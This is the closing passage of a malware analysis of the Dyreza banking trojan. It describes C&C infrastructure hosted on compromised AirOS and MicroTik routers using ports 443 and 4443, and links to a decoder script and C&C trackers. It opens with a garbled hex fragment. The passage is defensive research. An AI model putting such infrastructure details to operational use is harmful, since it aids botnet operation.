pIS3AA7C|33 35 2E 31|30 36 3A 34|34 34 33 00| 6R 38 32 2E|35.18614443,.83,

(A script for decrypting list of C&Cs from dumped resources is available here:
https://github.com/hasherezade/malware_analysis/blob/master/dyreza/dyrezadll_decoder.py)

Also, the certificate served by a particular C&C changes on each connection. The
infrastructure is built on the network of compromised WiFi routers (most often: AirOS,
MicroTik).

The server receives encrypted connection on port 443 (standard HTTPS) or 4443 (in case if
standard HTTPS port of a particular router is occupied by a legitimate service).

Conclusion

Dyreza is an eclectic malware, developed by professionals. It is clear that they are constantly
working on a quality — each new version carries some new ideas and improvements, making
analysis harder.

Appendix
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e Very good Dyreza/Upatre tracker:_https://techhelplist.com/maltlqr/ — by
@Techhelplistcom (list of C&Cs from the current sample:
https://techhelplist.com/maltiqr/reports/01oct-200ct-status.txt )

o Scripts used in this post:
https://github.com/hasherezade/malware_analysis/tree/master/dyreza
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